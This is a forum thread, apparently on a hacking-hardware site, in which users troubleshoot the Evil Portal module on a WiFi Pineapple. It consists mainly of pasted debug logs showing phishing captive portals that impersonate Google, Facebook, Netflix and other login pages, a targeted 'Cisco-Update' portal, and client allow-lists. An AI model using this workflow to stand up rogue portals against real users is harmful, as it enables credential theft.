2021-02-18 20:55:27,112 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 20:55:27,131 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-02-18 20:55:27,556 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 20:55:27,563 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": true, "start_on_boot": false}} (module.py:83)
2021-02-18 20:55:27,646 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 20:55:27,677 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2021-02-18 20:55:27,708 - evilportal - DEBUG - Creating portal folder (module.py:473)
2021-02-18 20:55:27,766 - evilportal - DEBUG - Listing directories (module.py:476)
2021-02-18 20:55:27,853 - evilportal - DEBUG - Building list (module.py:479)
2021-02-18 20:55:27,928 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 20:55:27,934 - evilportal - DEBUG - Sending response {"payload": [{"title": "twitter-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/twitter-login", "active": false}, {"title": "google-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/google-login", "active": false}, {"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": false}, {"title": "cliqq-payload", "portal_type": "basic", "size": 4096, "location": "/root/portals/cliqq-payload", "active": false}, {"title": "Cisco-Update", "portal_type": "targeted", "size": 4096, "location": "/root/portals/Cisco-Update", "active": false}, {"title": "Prueba", "portal_type": "basic", "size": 4096, "location": "/root/portals/Prueba", "active": false}, {"title": "o2-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/o2-login", "active": false}, {"title": "yahoo-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/yahoo-login", "active": false}, {"title": "Cisco", "portal_type": "basic", "size": 4096, "location": "/root/portals/Cisco", "active": false}, {"title": "starbucks-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/starbucks-login", "active": false}, {"title": "Netflix", "portal_type": "basic", "size": 4096, "location": "/root/portals/Netflix", "active": false}]} (module.py:83)
2021-02-18 20:55:27,975 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 20:55:27,997 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-02-18 20:55:28,032 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2021-02-18 20:55:28,062 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 20:55:28,090 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2021-02-18 20:55:37,569 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 20:55:37,594 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-02-18 20:55:37,625 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2021-02-18 20:55:37,656 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 20:55:37,688 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2021-02-18 21:20:27,874 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:20:27,880 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-02-18 21:20:27,930 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2021-02-18 21:20:27,936 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:20:27,979 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2021-02-18 21:20:28,462 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:20:28,467 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-02-18 21:20:29,068 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:20:29,101 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": true, "start_on_boot": false}} (module.py:83)
2021-02-18 21:20:29,353 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:20:29,358 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2021-02-18 21:20:29,382 - evilportal - DEBUG - Creating portal folder (module.py:473)
2021-02-18 21:20:29,468 - evilportal - DEBUG - Listing directories (module.py:476)
2021-02-18 21:20:29,603 - evilportal - DEBUG - Building list (module.py:479)
2021-02-18 21:20:29,774 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:20:29,814 - evilportal - DEBUG - Sending response {"payload": [{"title": "twitter-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/twitter-login", "active": false}, {"title": "google-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/google-login", "active": false}, {"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": false}, {"title": "cliqq-payload", "portal_type": "basic", "size": 4096, "location": "/root/portals/cliqq-payload", "active": false}, {"title": "Cisco-Update", "portal_type": "targeted", "size": 4096, "location": "/root/portals/Cisco-Update", "active": false}, {"title": "Prueba", "portal_type": "basic", "size": 4096, "location": "/root/portals/Prueba", "active": false}, {"title": "o2-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/o2-login", "active": false}, {"title": "yahoo-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/yahoo-login", "active": false}, {"title": "Cisco", "portal_type": "basic", "size": 4096, "location": "/root/portals/Cisco", "active": false}, {"title": "starbucks-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/starbucks-login", "active": false}, {"title": "Netflix", "portal_type": "basic", "size": 4096, "location": "/root/portals/Netflix", "active": false}]} (module.py:83)
2021-02-18 21:20:30,002 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:20:30,007 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2021-02-18 21:20:31,575 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:20:31,592 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2021-02-18 21:20:31,643 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:20:31,648 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2021-02-18 21:20:31,711 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:20:31,751 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n172.16.42.178\n"} (module.py:83)
2021-02-18 21:21:01,403 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:21:01,425 - evilportal - DEBUG - Calling handler for action toggle_evilportal and passing {'module': 'evilportal', 'action': 'toggle_evilportal'} (module.py:108)
2021-02-18 21:21:01,543 - evilportal - DEBUG - Starting Evil Portal (module.py:337)
2021-02-18 21:21:02,674 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:21:02,681 - evilportal - DEBUG - Sending response {"payload": "Evil Portal started."} (module.py:83)
2021-02-18 21:21:02,705 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:21:02,732 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-02-18 21:21:05,678 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:21:05,685 - evilportal - DEBUG - Sending response {"payload": {"running": true, "webserver": true, "start_on_boot": false}} (module.py:83)
2021-02-18 21:21:05,798 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:21:05,829 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-02-18 21:21:05,873 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:21:05,903 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n\n172.16.42.178\n\n"} (module.py:83)
2021-02-18 21:21:28,896 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:21:28,910 - evilportal - DEBUG - Calling handler for action toggle_portal and passing {'module': 'evilportal', 'action': 'toggle_portal', 'portal': 'Netflix'} (module.py:108)
2021-02-18 21:21:28,953 - evilportal - WARNING - Portal API already exists under /www/captiveportal. This is probably not an issue. (module.py:84)
2021-02-18 21:21:29,041 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:21:29,073 - evilportal - DEBUG - Sending response {"payload": "Portal has been activated."} (module.py:83)
2021-02-18 21:21:29,261 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:21:29,281 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2021-02-18 21:21:29,303 - evilportal - DEBUG - Creating portal folder (module.py:473)
2021-02-18 21:21:29,359 - evilportal - DEBUG - Listing directories (module.py:476)
2021-02-18 21:21:29,459 - evilportal - DEBUG - Building list (module.py:479)
2021-02-18 21:21:29,569 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:21:29,599 - evilportal - DEBUG - Sending response {"payload": [{"title": "twitter-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/twitter-login", "active": false}, {"title": "google-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/google-login", "active": false}, {"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": false}, {"title": "cliqq-payload", "portal_type": "basic", "size": 4096, "location": "/root/portals/cliqq-payload", "active": false}, {"title": "Cisco-Update", "portal_type": "targeted", "size": 4096, "location": "/root/portals/Cisco-Update", "active": false}, {"title": "Prueba", "portal_type": "basic", "size": 4096, "location": "/root/portals/Prueba", "active": false}, {"title": "o2-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/o2-login", "active": false}, {"title": "yahoo-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/yahoo-login", "active": false}, {"title": "Cisco", "portal_type": "basic", "size": 4096, "location": "/root/portals/Cisco", "active": false}, {"title": "starbucks-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/starbucks-login", "active": false}, {"title": "Netflix", "portal_type": "basic", "size": 4096, "location": "/root/portals/Netflix", "active": false}]} (module.py:83)
2021-02-18 21:23:12,698 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:12,727 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2021-02-18 21:23:13,903 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:13,911 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2021-02-18 21:23:14,013 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:14,042 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-02-18 21:23:14,085 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:14,116 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n\n172.16.42.178\n\n"} (module.py:83)
2021-02-18 21:23:14,397 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:14,412 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2021-02-18 21:23:14,423 - evilportal - DEBUG - Creating portal folder (module.py:473)
2021-02-18 21:23:14,482 - evilportal - DEBUG - Listing directories (module.py:476)
2021-02-18 21:23:14,590 - evilportal - DEBUG - Building list (module.py:479)
2021-02-18 21:23:14,735 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:14,763 - evilportal - DEBUG - Sending response {"payload": [{"title": "twitter-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/twitter-login", "active": false}, {"title": "google-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/google-login", "active": false}, {"title": "facebook-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/facebook-login", "active": false}, {"title": "cliqq-payload", "portal_type": "basic", "size": 4096, "location": "/root/portals/cliqq-payload", "active": false}, {"title": "Cisco-Update", "portal_type": "targeted", "size": 4096, "location": "/root/portals/Cisco-Update", "active": false}, {"title": "Prueba", "portal_type": "basic", "size": 4096, "location": "/root/portals/Prueba", "active": false}, {"title": "o2-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/o2-login", "active": false}, {"title": "yahoo-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/yahoo-login", "active": false}, {"title": "Cisco", "portal_type": "basic", "size": 4096, "location": "/root/portals/Cisco", "active": false}, {"title": "starbucks-login", "portal_type": "basic", "size": 4096, "location": "/root/portals/starbucks-login", "active": false}, {"title": "Netflix", "portal_type": "basic", "size": 4096, "location": "/root/portals/Netflix", "active": false}]} (module.py:83)
2021-02-18 21:23:14,903 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:14,908 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-02-18 21:23:15,327 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:15,335 - evilportal - DEBUG - Sending response {"payload": {"running": true, "webserver": true, "start_on_boot": false}} (module.py:83)
2021-02-18 21:23:15,397 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:15,430 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2021-02-18 21:23:15,478 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:15,510 - evilportal - DEBUG - Sending response {"payload": "172.16.42.42\n172.16.42.178\n"} (module.py:83)
2021-02-18 21:23:23,179 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:23,185 - evilportal - DEBUG - Calling handler for action toggle_evilportal and passing {'module': 'evilportal', 'action': 'toggle_evilportal'} (module.py:108)
2021-02-18 21:23:23,403 - evilportal - DEBUG - Stopping Evil Portal (module.py:332)
2021-02-18 21:23:24,281 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:24,287 - evilportal - DEBUG - Sending response {"payload": "Evil Portal stopped."} (module.py:83)
2021-02-18 21:23:24,315 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:24,337 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-02-18 21:23:24,616 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:24,622 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": false, "start_on_boot": false}} (module.py:83)
2021-02-18 21:23:24,685 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:24,706 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-02-18 21:23:24,740 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2021-02-18 21:23:24,778 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:24,808 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2021-02-18 21:23:39,085 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:39,103 - evilportal - DEBUG - Calling handler for action toggle_webserver and passing {'module': 'evilportal', 'action': 'toggle_webserver'} (module.py:108)
2021-02-18 21:23:39,919 - evilportal - DEBUG - NGINX START STDOUT: b'' (module.py:122)
2021-02-18 21:23:39,934 - evilportal - DEBUG - NGINX START SERROUT: b'' (module.py:123)
2021-02-18 21:23:40,380 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:40,387 - evilportal - DEBUG - Sending response {"payload": true} (module.py:83)
2021-02-18 21:23:40,415 - evilportal - DEBUG - Processing request. (module.py:211)
2021-02-18 21:23:40,443 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-02-18 21:23:40,851 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-02-18 21:23:40,858 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": true, "start_on_boot": false}} (module.py:83)
root@mk7:/tmp/modules#
 

 

* Here without any active portal

 NoPortal.png

 

* Here after activating the web server

 Start-Server.png

 

* And here after activating the captive portal where it starts to fail and I have to change each link manually.

Stop-Working.png

Link to comment
Share on other sites

  • 2 weeks later...

I know this is off topic but I received my mark 7 two weeks ago and the open ssids are running around 2 mps. It is useless. I have read where others have had the same use but I have never seen a actual solution.

 

Link to comment
Share on other sites

  • 4 weeks later...
On 9/27/2020 at 7:36 PM, Mordub said:

any kind of tutorial on how to create custom portals with custom inputs and outputs and such? do I need to learn PHP? I know html but have never created a portal that asks for password or username and then do something with it.

I made a video:

https://forums.hak5.org/topic/54548-custom-evil-portal-instruction-video-from-noob-for-noobs/

Link to comment
Share on other sites

  • 3 weeks later...

Hello, I have been trying out the Evil portal today but I have not had any luck, Any time I connect to the network im redirected to http://www.msftconnecttest.com/redirect and a blank web page with the error "file not found" is displayed.

I am on the latest version 1.0.2 on the Mkvii Pineapple, Here are the logs:
 

2021-04-13 17:57:00,191 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:00,196 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2021-04-13 17:57:01,431 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:01,440 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2021-04-13 17:57:01,493 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:01,521 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-04-13 17:57:01,545 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2021-04-13 17:57:01,581 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:01,611 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2021-04-13 17:57:01,866 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:01,901 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-04-13 17:57:02,290 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:02,318 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": false, "start_on_boot": false}} (module.py:83)
2021-04-13 17:57:02,409 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:02,430 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2021-04-13 17:57:02,451 - evilportal - DEBUG - Creating portal folder (module.py:473)
2021-04-13 17:57:02,509 - evilportal - DEBUG - Listing directories (module.py:476)
2021-04-13 17:57:02,532 - evilportal - DEBUG - Building list (module.py:479)
2021-04-13 17:57:02,571 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:02,592 - evilportal - DEBUG - Sending response {"payload": [{"title": "Test", "portal_type": "basic", "size": 4096, "location": "/root/portals/Test", "active": false}]} (module.py:83)
2021-04-13 17:57:02,875 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:02,902 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2021-04-13 17:57:02,967 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:03,002 - evilportal - DEBUG - Sending response {"payload": ""} (module.py:83)
2021-04-13 17:57:04,055 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:04,084 - evilportal - DEBUG - Calling handler for action update_client_list and passing {'module': 'evilportal', 'action': 'update_client_list', 'add': True, 'client': '', 'list': 'permanentClients'} (module.py:108)
2021-04-13 17:57:04,123 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:04,144 - evilportal - DEBUG - Sending response {"payload": "List updated."} (module.py:83)
2021-04-13 17:57:04,845 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:04,863 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2021-04-13 17:57:04,896 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:04,922 - evilportal - DEBUG - Sending response {"payload": "\n"} (module.py:83)
2021-04-13 17:57:29,764 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:29,776 - evilportal - DEBUG - Calling handler for action check_dependencies and passing {'module': 'evilportal', 'action': 'check_dependencies'} (module.py:108)
2021-04-13 17:57:31,162 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:31,177 - evilportal - DEBUG - Sending response {"payload": {"installed": true, "installing": false, "job_id": null}} (module.py:83)
2021-04-13 17:57:31,220 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:31,226 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2021-04-13 17:57:31,311 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:31,346 - evilportal - DEBUG - Sending response {"payload": "\n"} (module.py:83)
2021-04-13 17:57:31,850 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:31,882 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-04-13 17:57:31,943 - evilportal - ERROR - Exception occurred while reading file:  (module.py:462)
2021-04-13 17:57:31,997 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:32,043 - evilportal - DEBUG - Sending response {"error": ""} (module.py:83)
2021-04-13 17:57:32,901 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:32,922 - evilportal - DEBUG - Calling handler for action list_portals and passing {'module': 'evilportal', 'action': 'list_portals'} (module.py:108)
2021-04-13 17:57:32,973 - evilportal - DEBUG - Creating portal folder (module.py:473)
2021-04-13 17:57:33,055 - evilportal - DEBUG - Listing directories (module.py:476)
2021-04-13 17:57:33,090 - evilportal - DEBUG - Building list (module.py:479)
2021-04-13 17:57:33,157 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:33,163 - evilportal - DEBUG - Sending response {"payload": [{"title": "Test", "portal_type": "basic", "size": 4096, "location": "/root/portals/Test", "active": false}]} (module.py:83)
2021-04-13 17:57:33,470 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:33,475 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-04-13 17:57:34,033 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:34,096 - evilportal - DEBUG - Sending response {"payload": {"running": false, "webserver": false, "start_on_boot": false}} (module.py:83)
2021-04-13 17:57:37,417 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:37,456 - evilportal - DEBUG - Calling handler for action update_client_list and passing {'module': 'evilportal', 'action': 'update_client_list', 'add': True, 'client': '172.16.42.153', 'list': 'permanentClients'} (module.py:108)
2021-04-13 17:57:37,493 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:37,522 - evilportal - DEBUG - Sending response {"payload": "List updated."} (module.py:83)
2021-04-13 17:57:37,979 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:37,984 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/pineapple/ui/modules/evilportal/assets/permanentclients.txt'} (module.py:108)
2021-04-13 17:57:38,020 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:38,051 - evilportal - DEBUG - Sending response {"payload": "\n172.16.42.153\n"} (module.py:83)
2021-04-13 17:57:41,008 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:41,013 - evilportal - DEBUG - Calling handler for action toggle_evilportal and passing {'module': 'evilportal', 'action': 'toggle_evilportal'} (module.py:108)
2021-04-13 17:57:41,169 - evilportal - DEBUG - Starting Evil Portal (module.py:337)
2021-04-13 17:57:42,831 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:42,839 - evilportal - DEBUG - Sending response {"payload": "Evil Portal started."} (module.py:83)
2021-04-13 17:57:42,862 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:42,893 - evilportal - DEBUG - Calling handler for action status and passing {'module': 'evilportal', 'action': 'status'} (module.py:108)
2021-04-13 17:57:43,502 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:43,509 - evilportal - DEBUG - Sending response {"payload": {"running": true, "webserver": true, "start_on_boot": false}} (module.py:83)
2021-04-13 17:57:43,536 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:43,568 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-04-13 17:57:43,630 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:43,663 - evilportal - DEBUG - Sending response {"payload": "\n\n172.16.42.153\n\n"} (module.py:83)
2021-04-13 17:57:49,126 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:49,132 - evilportal - DEBUG - Calling handler for action update_client_list and passing {'module': 'evilportal', 'action': 'update_client_list', 'add': True, 'client': '172.16.42.153', 'list': 'allowedClients'} (module.py:108)
2021-04-13 17:57:49,223 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:49,242 - evilportal - DEBUG - Sending response {"payload": "List updated."} (module.py:83)
2021-04-13 17:57:49,486 - evilportal - DEBUG - Processing request. (module.py:211)
2021-04-13 17:57:49,507 - evilportal - DEBUG - Calling handler for action load_file and passing {'module': 'evilportal', 'action': 'load_file', 'path': '/tmp/EVILPORTAL_CLIENTS.txt'} (module.py:108)
2021-04-13 17:57:49,550 - evilportal - DEBUG - Accepting on module socket (module.py:79)
2021-04-13 17:57:49,579 - evilportal - DEBUG - Sending response {"payload": "\n\n172.16.42.153\n\n172.16.42.153\n"} (module.py:83)

 

Link to comment
Share on other sites

2 hours ago, chrizree said:

This is a portal you made yourself, right? Have you tried any of the premade ones by kbeflo just to verify that known working portals are executing as expected?

Yes I have tried importing his and I get the same error, Also the portal I made was just the default skeleton nothing changed

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...